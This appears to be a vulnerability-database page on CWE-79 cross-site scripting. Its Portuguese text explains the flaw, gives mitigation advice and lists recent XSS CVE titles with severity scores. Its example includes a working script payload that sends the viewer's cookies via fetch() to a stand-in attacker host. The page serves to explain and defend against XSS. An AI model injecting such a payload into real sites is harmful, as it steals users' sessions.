Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-7845MEDIUMStratum – Elementor Widgets <= 1.6.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Advanced Google Maps and Image Hotspot WidgetsEPSS 0.3%CVE-2026-55808MEDIUMDrupal core - Moderately critical - Improper validation - SA-CORE-2026-009EPSS 0.3%CVE-2026-104612MEDIUMSourceCodester Student Result Management System Announcement new_announcement.php cross site scriptingEPSS 0.3%CVE-2026-105708MEDIUMimgproxy SVG svg.go sanitizeElement cross site scriptingEPSS 0.3%CVE-2026-4495MEDIUMatjiu pybbs CommentApiController.java create cross site scriptingEPSS 0.3%CVE-2025-62421MEDIUMDataEase vulnerable to stored cross-site scripting via file upload bypassEPSS 0.3%CVE-2025-57424HIGHA stored cross-site scripting (XSS) vulnerability exists in the MyCourts v3 application within the LTA number profile field. An attacker canEPSS 0.3%CVE-2026-81925LOWConcrete CMS below 9.5.3 is vulnerable to Reflected Cross-Site Scripting (XSS) via Conversation Custom Date FormatEPSS 0.3%CVE-2026-2939MEDIUMitsourcecode Student Management System Add Student add_student cross site scriptingEPSS 0.3%CVE-2026-112093MEDIUMsubhajitkhan online-clinic-management-system feedback.php cross site scriptingEPSS 0.3%CVE-2024-52702MEDIUMA stored cross-site scripting (XSS) vulnerability in the component install\index.php of MyBB v1.8.38 allows attackers to execute arbitrary wEPSS 0.3%CVE-2025-14142MEDIUMElectric Enquiries <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'button' Shortcode AttributeEPSS 0.3%CVE-2026-115536MEDIUMgedelumbung HospitalManagement Admin Routing routing_pages.php simpan cross site scriptingEPSS 0.3%CVE-2024-11990MEDIUMCross-Site Scripting (XSS) en SurgeMail de NetWinEPSS 0.3%CVE-2024-9272MEDIUMR Animated Icon Plugin <= 1.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2026-97650MEDIUMningzichun student-management-system addLog.php echo cross site scriptingEPSS 0.3%CVE-2025-41003MEDIUMMultiple vulnerabilities in Imaster products Open configuration optionsEPSS 0.3%CVE-2024-4812MEDIUMKatello: potential cross-site scripting exploit in uiEPSS 0.3%CVE-2026-11512MEDIUMitsourcecode Hospital Management System billing.php cross site scriptingEPSS 0.3%CVE-2026-10810MEDIUMitsourcecode Fees Management System navbar.php cross site scriptingEPSS 0.3%